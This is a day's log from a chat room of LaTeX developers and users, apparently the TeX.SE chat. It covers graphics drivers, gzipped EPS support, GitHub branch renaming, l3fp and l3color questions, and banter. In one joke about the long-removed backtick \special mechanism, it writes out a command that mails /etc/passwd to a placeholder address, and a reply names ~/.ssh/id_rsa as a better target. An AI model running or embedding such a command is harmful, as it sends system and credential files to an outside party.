« first day (3778 days earlier)      last day (1138 days later) » 

12:03 AM
@DavidCarlisle Is there a practical difference between xetex.def and dvipdfmx.def?
 
@PhelypeOleinik when @JosephWright and I picked up various stray def files to make the graphics-def collection they both existed and were surprisingly different, gradually we've been pushing them closer together. I think historically one comes from xetex and one ptex
 
@DavidCarlisle Ah, ptex. Forgot about that one
@DavidCarlisle Yeah, the diff is pretty small, so I guess both can't have gunzip anymore. But somehow I'm failing to include a .ps.gz with dvipdfmx.def...
@DavidCarlisle Ah, neither works. xetex.def was working in the latex2e test suite because I don't see the log of dvipdfmx
@DavidCarlisle There's no bug if you don't look at the logs :)
 
@PhelypeOleinik or delete all failing tests
 
@DavidCarlisle Oh, so that's what happened with the .gz test files!
 
@PhelypeOleinik that thought had occurred to me
 
12:12 AM
@DavidCarlisle Sounds plausible :)
@DavidCarlisle But seriously, I think either dvipdfmx dropped support for .gz or there's a bug in it...
 
@PhelypeOleinik I have just been looking over the source and can't see any support fro backtick or unzip
 
@DavidCarlisle Yeah, I get xdvipdfmx:fatal with either
 
 
1 hour later…
1:44 AM
When I flag a question for "needs clarity" for example, then this will generate a "close vote". Is this s new behavior?
 
@Dr.ManuelKuehner -- Not a new behavior, but a bit more judgmental than desirable. (My opinion. It does mean that a question can be closed before it has a reasonable chance to be answered.)
 
 
1 hour later…
2:57 AM
@barbarabeeton Thanks, I share your thoughts.
 
 
5 hours later…
7:38 AM
@Rmano I'm sorry to hear, mine has it...
 
8:01 AM
@DavidCarlisle oh no
@PhelypeOleinik oh no
@DavidCarlisle oh no
 
@PauloCereda oh no
 
@PhelypeOleinik ooh
@PhelypeOleinik <3
 
@Dr.ManuelKuehner Remember that the Powers have always taken the view that questions should be closed-improved-reopened, rather than the comment-wait-and-see workflow we've always taken
 
8:19 AM
> Programmer Got a Minecraft Server Running On His Canon DSLR
@DavidCarlisle ^^
 
@PhelypeOleinik Nowadays, xdvidpfmx is just dvipdfmx, so the .def files can more or less be merged too, except that XeTeX has a few primitives that help
 
> New Halo potato chips taste like space ostrich
WAIT, WHAT?!
 
@PhelypeOleinik it completly slipped out of my mind that this problem was still open. How did it come up again now?
 
@UlrikeFischer It didn't. I had a note somewhere :)
@JosephWright Ah, I see, \XeTeX<thing>file
 
@PhelypeOleinik Yes, so you don't need extractbb - see the l3backend color and graphics files to see how similar they are (today) :)
 
8:26 AM
@JosephWright How long until you create a l3sink or l3blackhole and put everything in there? :)
 
@PauloCereda That's l3trial, more or less
 
@JosephWright ooh mind tricks
 
@DavidCarlisle You and @WillRobertson are both very formal on LaTeX-L :)
 
@JosephWright and no tpyos
 
@PauloCereda Indeed
 
8:29 AM
@JosephWright I was like, William Robertson? Who's that bloke?
 
@PauloCereda I see he's also Director of Learning and Teaching for his department: that's a job I'm avoiding in my own day job
 
@JosephWright :)
 
@PauloCereda Sooo close to a Lost in Space joke :p
 
@Plergux ooh we could cryogenically freeze him :)
 
@PauloCereda heh heh heh... That isn't really the problem, he'd have to change his name. :p
 
8:34 AM
@Plergux LOL
May 8 '14 at 20:45, by Paulo Cereda
@JosephWright Will, Will, Will, Will Robertson (Queen's We will rock you, probably sounded better inside my head). :)
 
@PauloCereda XD There's a bit too many syllables in there for my liking. :p (stuff that doesn't scan can drive me insane XD)
 
@Plergux ooh
 
Unless it's a joke. There is one that I particularly like (it's originally in Icelandic):
John of Mire was keen to write a poem,
though some would rather call it suffering pain.
With ire he would bellow 'I will show'em!'
But my dear John it just doesn't do to try every time to shove so many words into the last line!
:p
 
@Plergux ooh clever!
 
@JosephWright that was my 4th attempt to post that :( seems TB on my new laptop having a disagreement with office 365 smtp
 
8:46 AM
@DavidCarlisle MS blocked your access too?
 
@DavidCarlisle Ah
 
@JosephWright time to proofread it :)
 
@DavidCarlisle That's why I've got OWL: we don't have SMTP any more :(
 
Good morning, everybody. For quite some time, a PDF made with dvilualatex+dvips+ps2pdf comes out with completely wrong glyphs. Is it just for me like this (TL-2020)? Interestingly, this doesn't happen for a plain TeX document. MWE: \documentclass{article}\begin{document}Hello!\end{document}.
 
@DavidCarlisle Was more Will's reply that was funny
 
8:47 AM
user image
4
@JosephWright using TB ^^
 
@AlexG that can't work. dvips can't handle open type fonts.
 
@AlexG Plain is still using 8-bit fonts (I could change that ;))
 
@UlrikeFischer Then, what is missing in the preamble?
 
@AlexG you would have to disable all the opentype fonts, e.g. by forcing T1-encoding. But imho this doesn't make much sense. Why do you want to use this?
 
8:53 AM
@UlrikeFischer Well, what is dvilualatex good for then? Ok, adding \usepackage[T1]{fontenc} helps.
 
@AlexG 'Not very much - but there is a fixed version of dvips about' (VTeX people say they have it working)
 
@AlexG you could try dvipdfmx instead (requires a tl21 or a current miktex). With it dvilualatex works:
\RequirePackage[{backend=dvipdfmx}]{expl3}
\documentclass{article}\begin{document}Hello!\end{document}
 
@UlrikeFischer Ah, yes. And backend=dvisvgm works too. Sometimes, dvilualatex is indicated, if one hits main_memory limits with latex.
 
9:22 AM
@PauloCereda but can it run Crysis?
@PauloCereda and has anyone yet tried to run classic Doom on it?
 
@PauloCereda ooh, potatoes! As a German I'm deeply impressed, but have to condemn the waste of potatoes!
 
@Skillmon ooh kartoffel
 
@PauloCereda ooh quick edit, was just about to comment on the spelling :)
 
@Skillmon I learned this word, but wasn't sure how to spell it :)
 
10:17 AM
@PauloCereda i t
 
@DavidCarlisle ooh
 
@DavidCarlisle uh, uh, I know it, I know it! Since you're British that's a code to say that you love tea! Am I right? Am I right?
@PauloCereda and counter-ooh
 
11:10 AM
@UlrikeFischer, @DavidCarlisle, @MarcelKrüger, @PhelypeOleinik Did the ICC stuff come up at the meeting at all?
 
@JosephWright no it wasn't on the agenda wasn't it? I haven't have the time yet to check Marcel's new code, but yours (both versions) looks imho fine.
 
@JosephWright no
 
@UlrikeFischer @DavidCarlisle Thanks: just wondered
 
11:26 AM
PC LaTeX3 :)
 
@PauloCereda yellow ducks matter
 
@DavidCarlisle :)
12 hours ago, by David Carlisle
@PhelypeOleinik you can use the cricket bat to tenderise it
 
@PauloCereda you have to look after your livestock, doesn't mean you don't eat them.
 
@DavidCarlisle oi
 
@PauloCereda ?
 
11:35 AM
@JosephWright I guess the master -> main renaming
 
@JosephWright ^^ mr. rabbit
 
@Skillmon that or getting LaTeX3 to work again in emtex
 
@Skillmon Ah, right: it's the way things are going, that's all - with new GitHub repos using main, it will soon be just 'how it works'
 
@JosephWright new repos. :)
 
@PauloCereda Yes, sure, but a lot of projects are shifting too
 
11:36 AM
@PauloCereda we'll see about that :|
 
@JosephWright hence PC :)
 
@JosephWright we should do learnlatex now probably (before we do another advertising push)
 
@DavidCarlisle and break everybody's fork. :)
 
@PauloCereda Not really: if you do the rename in the github ui any pull requests are automatically translated. (latex2e has a lot more forks than learnlatex, although possibly fewer pull requests)
 
11:45 AM
@DavidCarlisle interesting, and forks?
 
@PauloCereda it only breaks people who directly clone the repository who need to rename their local branch.
 
yo'
and hi everyone btw :)
 
@DavidCarlisle I like the "only" part :)
@yo' quack <3
 
@PauloCereda they fork works perfectly fine still using master the person with the fork can make changes there, but if you generate a PR (or have an existing PR) it does the right thing afte rthe rename
 
@DavidCarlisle I still have write access to that repo, I guess. I could create a master branch after having moved stuff to main. :)
 
11:47 AM
@PauloCereda but for latex2e I know who has push access and they were all warned by mail earlier in the day that it would happen and mail immediately before it happened with the git incantation to do a local rename. I really think this has a very low impact on anybody.
 
@DavidCarlisle cool
 
@yo' oooh... Too bad I don't use Overleaf :| I suppose enthusiasm doesn't quite make up for lack of experience :p
 
for learnlatex I guess I'd do as I did for the mathml repositories and first make an issue so it pings anyone likely to be involved.
 
yo'
@Plergux I haven't written a single LaTeX thing in Overleaf before I applied for the job, so don't let that discourage you. After all, trust me that even as a regular user, you would have no idea how complex the product actually is :-)
 
@DavidCarlisle good call
@DavidCarlisle make it in latin so no need to translate to other languages. :)
 
11:56 AM
@DavidCarlisle Yes
 
@yo' All right then, I'll give it a go :p
 
@JosephWright done
excellent wording in the latest l3build issue
 
12:40 PM
@Plergux same as @yo', I was part of their support staff for a while in the past, and had never used Overleaf before.
 
1:09 PM
@JosephWright Just trying to put on a good appearance for all the lurkers on that mailing list
lua-typo looks super cool
 
Yay, a MS Word freeze again, it's been so long since the last time!
 
@Skillmon Cool :) I have applied :p
 
1:30 PM
ooh Will is here
 
@PauloCereda ooh, Paulo as well!
(ooh wait, Paulo is here all the time)
3
 
@WillRobertson :)
@WillRobertson Yes
@WillRobertson I see you are DoLT - lucky you!
 
I started to save my Word documents in the only reliable format I could think of as a rescue-measurement, I screenshot the frozen windows and save the screenshots as PNG...
 
@Skillmon Lucky you
@Skillmon Long file?
 
@JosephWright the longest one open right now is 12 pages, so I'd say, no, not really long.
And I just removed a line from a file that was only 5 or 6 lines long when Word froze.
 
1:34 PM
@Skillmon Ah, so not the typical 'Word really doesn't like long files' issue
@Skillmon Oopsie
 
@JosephWright it's just such a reliable piece of software!
 
> We Should Give Seals PhDs
> Meltwater from Antarctic glaciers is changing the makeup of the region’s oceans more than previously known, a new study finds. The measurements that made these findings possible were collected by an unusual group of researchers: seals.
 
2:02 PM
@DavidCarlisle @UlrikeFischer Seen the dvipdfmx mail?
 
@PhelypeOleinik unsupported gz?
 
@UlrikeFischer That one
@UlrikeFischer Should the driver files error with “unsupported” or with “unknown extension”?
(I think I'd go for unsupported)
 
@PhelypeOleinik unsupported is clearer imho.
 
@UlrikeFischer My reasoning as well
@UlrikeFischer I'll adjust the drivers
 
@PhelypeOleinik it was just a non issue from the OP
 
2:07 PM
@daleif Oh! That's better :)
 
2:19 PM
@PhelypeOleinik no?
 
@DavidCarlisle The mailing list is public. You don't have that excuse now ;-)
 
@PhelypeOleinik ooh YAML - Yet Another Mailing List :)
 
Jun 11 '18 at 14:03, by Paulo Cereda
@mickep ooh wrong acronyms :)
 
@PhelypeOleinik oh
 
@PhelypeOleinik ah thanks, on a similar subject do you think there is any user level thing that can be said in grfguide instead of
\emph{command} is usually empty, but if non empty it is used in place
of the filename in the |\special|. Within this argument, |#1| may be
used to denote the filename. Thus using the dvips driver, one may
use\\
|\DeclareGraphicsRule{.ps.gz}{eps}{.ps.bb}{`zcat #1}|
 
2:26 PM
@PauloCereda It's nice that you can search for "ooh <anything>" in this chat and there will be a result
 
@PhelypeOleinik ooh patterns
I mean
ooh
 
@PhelypeOleinik I was thinking of deleting it all, and the following discussion and just saying "this is usually empty but can be used by back end code for special processing such as accessing epstopdf to include eps files with pdflatex
 
@DavidCarlisle Yeah, probably remove the backtick part, and maybe add the conversion process Shunsaku said for XeTeX users
 
@PhelypeOleinik I think for most users it's better just to convert externally rather than try to smuggle the conversion in to dvi driver options, especially if doing it from xetex when you don't see the driver at all.
 
@DavidCarlisle Good point. There's likely not much benefit in gaining a few bytes by adding a huge workflow for conversion
 
2:32 PM
@DavidCarlisle turn it around, you can use If \emph{command} is empty, the filename is used, but if you give a non empty argument, the used code is used instead of the filename in |\special|. Inside of your code you can refer to the filename as |#1|. Thus [...], is, imho, more comprehensible
 
@Skillmon yes but the problem isn't english wording, it's that the backtick mechanism hasn't worked for decades so you can not actually do any of the things it describes.
@Skillmon some people got very picky and objected to tex documents with \special{`mail trustme@example.com < /etc/passwd}
 
@DavidCarlisle aaaahhhh, sorry, I totally misunderstood :)
@DavidCarlisle I don't see any reason why they could be picky about that! /etc/passwd shouldn't contain any passwords nowadays!
(but of course, I understand the real issue they had)
 
@Skillmon well that's true replace by ~/.ssh/id_rsa then :-)
 
@JosephWright yes using a 1994 latex/dvips the security issue was "this has no security (but you are a tex user, so we trust you)"
 
2:48 PM
@DavidCarlisle ooh link to the xkcd thingy
 
@PauloCereda poor gif
 
@Skillmon So is the "Entertainment value of content by file extension" the exact opposite order? :p
 
@PauloCereda was that from before some researchers had a look at the default settings in miktex and found many interesting things. (long fixed by now and TeXLive was not affected as it had better defaults)
 
@Plergux not necessarily, there are loads of poor gifs around.
 
@daleif ooh
 
2:50 PM
(see what I did there?)
@PauloCereda counter-ooh
 
weeeeeeeeeeeeeeeeeeeeee
 
@Plergux The cycle completes when you use TeX to make a pdf then loads of pngs to turn into a gif
3
 
@PhelypeOleinik LOL
 
@PhelypeOleinik no need for the png step, magick solves that.
 
@Skillmon Ah, indeed. Or you can go the extra mile and convert to jpeg before :)
 
2:54 PM
@PauloCereda he hasn't seen xii.tex
 
@DavidCarlisle or the preamble of any thesis :)
 
@PauloCereda there was no obscure tex in the preamble of my thesis
 
@DavidCarlisle using the property of an empty set? :)
 
Jun 6 '18 at 15:36, by Alan Munn
@DavidCarlisle You're getting such a lot of mileage out of presupposition failure these days.
 
Feb 1 '19 at 21:59, by David Carlisle
@manooooh as a general rule, if you are not sure what someone means when chatting here just assume they are being rude about me. Chances are you will be correct.
 
3:08 PM
@Skillmon This is true.
 
@JosephWright Ah, I see. The new behavior feels "too harsh" to me :).
 
@PhelypeOleinik Yeah, I've never done that. I'm too busy putting text in math evironments. :p
 
@Plergux ooh $ ... $ produces italics
3
/runs
 
@PauloCereda LOL exactly! So simple! :p
 
@Plergux :)
> AI-Powered Chrome Extension Automatically Turns on YouTube Subtitles While You Eat Noisy Snacks
Truly the age of wonders
 
3:29 PM
@PhelypeOleinik I just flipped through the documentation of gitlab.com/PhelypeOleinik/EoTeX and hat to laugh because of the quotes from David and Ulrike :). Thx for that.
 
@Dr.ManuelKuehner Oh, that. Don't judge me for what I've written there :)
2
 
3:49 PM
@Plergux -- How's the dissertation? And has the flood subsided?
 
4:00 PM
@PhelypeOleinik oi did @UlrikeFischer and I know about that?
 
@DavidCarlisle Er... about what?
:)
 
@barbarabeeton The dissertation is in the hands of the committee. All 554 pages of it :p And the water has been dried but many of the rooms need new floors and new furniture :|
 
@DavidCarlisle ooh
 
@Plergux -- Well I hope the committee doesn't hold it hostage. Good luck.
 
@samcarter_waiting_for_summer ooh owls twitter.com/hyxpk/status/1367867520930045952
 
4:13 PM
@PauloCereda Oh, the owl is feeling better!
 
@samcarter_waiting_for_summer indeed!
 
@PauloCereda run faster! It's almost dinner time!
 
@Skillmon oh no
 
@Plergux wow, that's really long! The dissertations of my colleagues were around 110-150 pages.
 
@Plergux What's the subject area?
@Skillmon Ah, the old 'how long is thesis' question
 
4:25 PM
@barbarabeeton I don't think it'll happen. Thanks :)
 
Before I write my own, I wanted to confirm that there's no four quadrant atan2 function in the LaTeX3 floating point library.
(And by "four quadrant" I mean an atan2 that returns the angle in the range 0 to 2pi.
 
@CarLaTeX -- So, how's your thesis coming along?
 
@barbarabeeton don't ask @PauloCereda that question
 
@LaTeXereXeTaL ...try to get the order of arguments right... there is one in \pgfmath, that switched x and y around at one point (for the right reason, but...)
 
@DavidCarlisle oh no
 
4:29 PM
@JosephWright I was just astonished how long a thesis could get... :)
 
@Plergux And how are earthquakes going? They commented quite scary news on TV a couple days ago...
 
@Skillmon I spoke once to some geologists, and they seems to think 450+ was normal: I guess lots of data tables?
 
@DavidCarlisle -- Oh, I've learned that lesson!
 
@Rmano tell your daughter you just found out the legendary Pokémon Articuno, Zapdos and Moltres had their name suffixes based on numbers in Spanish: ArticUNO, ZapDOS and MolTRES. :)
 
@JosephWright I hope they don't produce 450+ pages of "prose" on a regular basis!
@LaTeXereXeTaL shouldn't be too difficult to create given there are ternary operators in l3fp
 
4:30 PM
@PauloCereda ;-) she'll probably know. She was happy yesterday because see caught a shiny legendary or something like that, whatever that means
 
@LaTeXereXeTaL Use the two-argument version: \fp_eval:n { atan(x,y) }
 
@Rmano ooh a shiny Pokémon
 
@Rmano I was hoping to do it without \pgfmath but I can certainly use that one. I'm pretty sure the one in xfp only works with 0 to pi or 0 to -pi.
 
@Rmano and yes, she will definitely know this. :) Tell her you found out. :)
 
Apologies. it's indeed called atan with two arguments. I'm so used to writing it as atan2.
 
4:31 PM
@PhelypeOleinik Reminds me: @egreg what happened about the FP manual?
 
@JosephWright stop poking people about having stuff done
 
@PhelypeOleinik I don't get an angle in the range 0 to 2pi when I do that.
 
@Skillmon Well, the main text is done around page 400, the rest is appendices and stuff :p
 
@Plergux ooh and colours
 
@JosephWright yep remembered just in time:-)
 
4:32 PM
@PauloCereda there is a two argument version?
:)
 
@JosephWright History, grammar, and semantics of Icelandic colour terminology.
 
@Skillmon I can write one but just wanted to make sure I didn't necessarily have to.
 
\documentclass{article}
\begin{document}
\ExplSyntaxOn
\fp_eval:n { atan( 1, 1) } \par
\fp_eval:n { atan(-1, 1) } \par
\fp_eval:n { atan(-1,-1) } \par
\fp_eval:n { atan( 1,-1) } \par
\ExplSyntaxOff
\end{document}
 
@Skillmon :D
 
@Rmano We've stopped noticing. :p I have heard that there might be an eruption but that's still just "meh, whatever". :p
 
4:33 PM
 
@barbarabeeton Ops...
 
@LaTeXereXeTaL I do ^^^ :)
 
@PauloCereda ooh, that went wrong, most likely another message was posted just when I clicked the arrow :(
 
@LaTeXereXeTaL Oh, wait, [-pi,pi]. You have to normalise to [0,2pi]. Sorry
 
@PhelypeOleinik Look again. the second and third are not four quadrant.
@PhelypeOleinik Exactly.
 
4:35 PM
@PhelypeOleinik I think the symmetric range is the standard one, so [-pi,pi] should be preferred over [0,2pi] for general purpose functions.
 
@JosephWright LL is working for me?
 
@Skillmon nah it totally related to shiny Pokémon :)
 
@DavidCarlisle Not for me ...
 
@DavidCarlisle ergo, not your fault?
 
And of course the atand variant would normalize to [0,360].
 
4:36 PM
@PhelypeOleinik minus pie is when we eat teh pie :)
 
can you check learnlatex.org (possibly after refreshing browser tab)
 
@DavidCarlisle works for me
 
@PauloCereda I remember that I once killed a wild shiny Raticate before I knew what a shiny was (when I found out later, I was really angry about myself!)
 
@Skillmon I think mathematicians prefer the symmetric range but in physics and astronomy we very often need the full range.
 
@PauloCereda was in Pokemon Gold close to the milltank farm, iirc.
 
4:37 PM
@PauloCereda @JosephWright
 
@DavidCarlisle Hmm, odd
 
@DavidCarlisle 404 for me
 
@LaTeXereXeTaL oh, didn't know. As an engineer I just teach my students that it's important to pay attention for a negative real-part, and if they use a range of [-pi/4, 3pi/4] that's fine for me... :)
@DavidCarlisle seems to work for me
(oh wait, that wasn't the correct range, should've been halves, not fourths.... pardon)
 
@DavidCarlisle Cloudflare thing perhaps?
 
@JosephWright what happens if you try a different browser?
 
4:40 PM
@DavidCarlisle Same thing: tried several computers
 
@JosephWright that's bizarre... does learnlatex.github.io work?
 
@DavidCarlisle fine for me as well (sorry, not Joseph, though)
 
@DavidCarlisle Redirects to learnlatex.org of course :)
 
@JosephWright yes but I wondered if you ended up at a different one of the 4 ip addresses
 
@JosephWright Oh, that one? I think I'll finish it up in a few days.
 
4:46 PM
@egreg OMG
@DavidCarlisle I guess I'll wait and see what happens as the mirroring picks up
 
@JosephWright but I am seeing same at davidcarlisle.gitub.io/latexcgi gh-pages says the site is published after a forced rebuild but I get 404
 
@DavidCarlisle Ah, right: some issue at GitHub then
 
yo'
@PauloCereda Schr$\ddot{o}$dinger approves.
 
@JosephWright my latexcgi doc site just appeared, took a long time, they must have some mirroring issues
 
@Skillmon I can cook one up.
 
5:17 PM
@DavidCarlisle Finally back here :)
 
@JosephWright I did nothing, so definitely just slow at gh-pages today
 
5:34 PM
@JosephWright ATM I'm writing the notes for a new course, but I'm well advanced, so I have material for more than a week.
 
5:45 PM
@egreg Excellent news
 
6:15 PM
great
 
6:27 PM
@yo' ooh
@samcarter_waiting_for_summer mum's computer audio stopped working... Guess who lost his USB card...
 
 
1 hour later…
7:36 PM
@PhelypeOleinik did it the backtick specials ever work in dvipdfm ?
 
@DavidCarlisle I don't know :) The code was there, so I assume they did
Where's that quote about assumption?
 
@PhelypeOleinik I would bet @PauloCereda's credit card that the code was there because it was copied from dvips.def not because it ever worked.
 
@DavidCarlisle What would I buy with that?
 
@PhelypeOleinik unfortunately its limit is exceeded, we drained it years ago.
 
@DavidCarlisle That's no good for a bet then
@DavidCarlisle But that sounds reasonable. I'll delete the custom error
 
7:43 PM
@PhelypeOleinik if is easier you can also raise an error for the gz stuff.
 
@PhelypeOleinik I just deleted the backtick zcat example from grguide before I saw your PR :-)
@UlrikeFischer but you should get an error anyway from unknown extension if you declare no rule for eps.gz
 
@DavidCarlisle Looks good
 
@DavidCarlisle yes I know but he asked in the afternoon if "unsupported" sounds better than an error (which it probably does), but there is no need to complicate the code for some nicer message.
 
@PhelypeOleinik meanwhile I suppose we should do the metapost .1 nonsense: just declare .1 to .9 or do we do a more complicated test to accept .10003 ?
 
@DavidCarlisle Hm... Trouble is that XeTeX declares a default rule, so .eps.gz tries to be included as .eps, and things go boom
 
7:49 PM
@PhelypeOleinik welll yes but same happens if you try to include a .gif and that's probably more likely than .eps.gz
 
@DavidCarlisle Hm... .[1-9] could go into the .def files, but .10003 would have to be parsed in graphics.sty (I think), so maybe just 1-9
@DavidCarlisle I don't know how many people usually have in a reasonable document. Maybe a TikZ expert knows something about that...
 
Hmm since the eps bounding box parsing code is reading byte by byte I suppose it could look at the first two bytes and know a list of magic numbers and politely suggest that the input os gzipped or a gif file or whatever...
 
@DavidCarlisle Yes, just deleting the rules doesn't give an error as pdftex or luatex do...
 
@PhelypeOleinik one of the first metapost examples I saw was a re-jigged metafont and came out with 256 character files
@PhelypeOleinik no but it does "the standard thing" for graphics if you have a default rule set up..
@PhelypeOleinik if we add a kinder message of eps.gz in xetex then why not one for png in dvips (which is far more common) mabe looking at the first fewbytes woudn't be a bad idea... (but not today:-)
 
8:09 PM
@DavidCarlisle So 1-9 is not enough? Then I think it has to be parsed in graphics.sty
@DavidCarlisle Yeah, I was thinking about that and it seems like a good idea. More complicated than just an error, but a lot more useful
@DavidCarlisle I'll merge the zipped PR then and make another one for the magic bites, ok?
 
@PhelypeOleinik if you do it as part of teh eps bounding box code (bail out with a better nessage) it should be quite cheap but only apply to back end where that is the default, if you make graphics.sty open the file just for taht check it might be quite slow as file handling slower tha the tex processing usually.
 
8:24 PM
@DavidCarlisle All default rules read as eps, so I thought about doing that before trying eps (with the file already open)
@DavidCarlisle In \Gread@generic@aux
 
@PhelypeOleinik "because they copied from dvips.def" :-)
@PhelypeOleinik yes I think it would be easy enough to add in there
 
@DavidCarlisle hahaha
@DavidCarlisle That will haunt graphics forever
@DavidCarlisle And looking at it, I think it wouldn't be tied to eps
 
@PhelypeOleinik some may argue that defaulting to a filetype you don't support is..
 
 
2 hours later…
10:18 PM
@Ulrike , @JosephWright How can I make use of a colour previously saved in a tl variable in backend format, using \color_select:nn ? The following does not work somehow:
\documentclass[margin=2pt]{standalone}
\usepackage{expl3}

\begin{document}\Huge

\ExplSyntaxOn
   \color_export:nnN{blue}{backend}\l_tempa_tl
   \exp_after:wN\color_select:nn\l_tempa_tl     % has no effect
\ExplSyntaxOff

This shouldn't be black.
\end{document}
 
10:31 PM
@AlexG you shouldn't store in tl_var but in a name:
\documentclass[margin=2pt]{standalone}
\usepackage{expl3}

\begin{document}\Huge

\ExplSyntaxOn
   \color_set_eq:nn{blub}{blue}
   \color_select:n {blub}     % has no effect
\ExplSyntaxOff

This shouldn't be black.
\end{document}
 
@UlrikeFischer My requirements are different, I want to push and pop colours on a stack, pushing a name doesn't help I want to push the colour expression. So why does \exp_after:wN\color_select:nn\l_tempa_tl not work? Btw, \color_select:nn{rgb}{0 0 1} doesn't work either, the following text comes out in red. Looks like a bug.
Or did I misread the documentation?
 
@AlexG you need commas: \color_select:nn{rgb}{0,0,1}. Backend is backend specific, not input syntax.
 
Ok, I see. I misunderstood backend. Is there an easy way to get the colours comma separated?
 
@AlexG well it would be easy to add another export function. But I'm still not sure what you are trying to do. Why do you want to store only a part of the color instead of the whole specification?
 
10:46 PM
How do I get the whole specification? And how can I re-instate saved colours later?
@UlrikeFischer It's all about that ocgcolorlinks business. Links may be nested and the link colour (for the viewer) is used at the end of the link text with my method. In case of nested links using diff. colours I need to build a stack with colour specifications in order to get things right at the end.
 
@AlexG as I wrote: by storing the color by name, you can use names like ocgx1, ocgx2, etc then you can simply count back at the end.
 
@UlrikeFischer This is one resort I have pondered about already. But ts is cumbersome, I need to define a counter. Instead I would like to use an l3 seq for the stack.
 
11:03 PM
@AlexG well yes, but as I said: you loose parts of the color specification. Colors can store informations for more than color model. E.g.
\color_set:nnn{blub}{rgb/cmyk}{0,0,1/0,0,0,1}
\color_show:n {blub}
 
@UlrikeFischer Ok, then how can I find out and save the complete specification for the current textcolour?
Only by some opaque name?
 
@AlexG the current color can be accessed by the dot syntax: \color_set_eq:nn{blub}{.}
 
@UlrikeFischer This I know, but how is the colour internally saved? What's hidden behind blub?
 
11:18 PM
@AlexG a tl_var and a property. But both are internal, so you shouldn't use them. If you really miss some interface a feature request is better.
 

« first day (3778 days earlier)      last day (1138 days later) »